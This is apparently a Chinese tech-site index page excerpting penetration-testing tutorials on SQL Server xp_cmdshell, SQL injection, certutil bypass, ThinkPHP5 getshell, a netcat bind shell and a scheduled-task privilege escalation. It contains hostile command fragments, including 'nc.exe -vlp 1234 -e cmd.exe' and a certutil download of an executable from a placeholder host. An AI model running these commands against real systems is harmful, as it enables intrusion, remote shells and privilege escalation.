GetShell 之：利用 SQLServer GetShell
GetShell 之：利用 SQLServer GetShell 目录 GetShell 之：利用 SQLServer GetShell 1 SQLServer 基础操作 2 SQLServer 利用方式：已获得SA账号权限 2.1 xp_cmdshe ......![]()
MySQL&SQL server&Oracle&Access&PostgreSQL数据库sql注入详解
当我们通过一些测试，发现存在SQL注入之后，首先要做的就是判断数据库的类型。 常用的数据库有MySQL、Access、SQLServer、Oracle、PostgreSQL。虽然绝大多数数据库的大部 ......![]()
certutil工具使用和bypass学习
乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资 ......![]()
ThinkPHP5.x.x各版本实战环境getshell
这个文章我之前在t00ls已经分享过了 内容只是对tp5的实战环境下getshell做的记录，中间遇到的一些小问题的突破，没啥技术含量 -5.1.18 http://www.xxxxx.com/?s= ......nc监控实现调用受害者cmd
正向连接 受害者 IP 是直接暴漏在公网的 或者你们同属于一个内网 受害者：nc.exe -vlp 1234 -e cmd.exe 攻击者 nc 192.168.1.1 1234 nc -lvvp 80 直接监听内网所 ......MSSQL渗透测试
来源：独自等待，知乎，github xp_cmdshell 第一种：在SQL Server 2005之前版本中，xp_cmdshell是默认开启的，因此可以直接利用，执行系统命令 exec master..xp_cmdshel ......windows信息收集
导语：介绍 特权升级总是被归结为适当的枚举。但要完成适当的枚举，你需要知道要检查和查找的内容。这通常需要伴随着经验的丰富而对系统非常熟悉。起初特权升级看起来 ......certutil 命令配合PS反弹后门
Certutil.exe是一个命令行程序，作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构（CA）配置信息，配置证书服务，备份和还原CA组件以及验证证 ......GoogleUpdate计划任务提权
1、默认低权限无法写入： 2、配置低权限可操控：icacls Update /grant everyone:f 3、下载可执行程序：certutil -urlcache -split -f http://ip/GoogleUpdate.exe Go ......![]()
↓ 按住下拉
V2AS = Way To Ask
V2AS 一个技术分享与创造的静土
手机扫一扫
移动阅读更方便
近15日热搜文章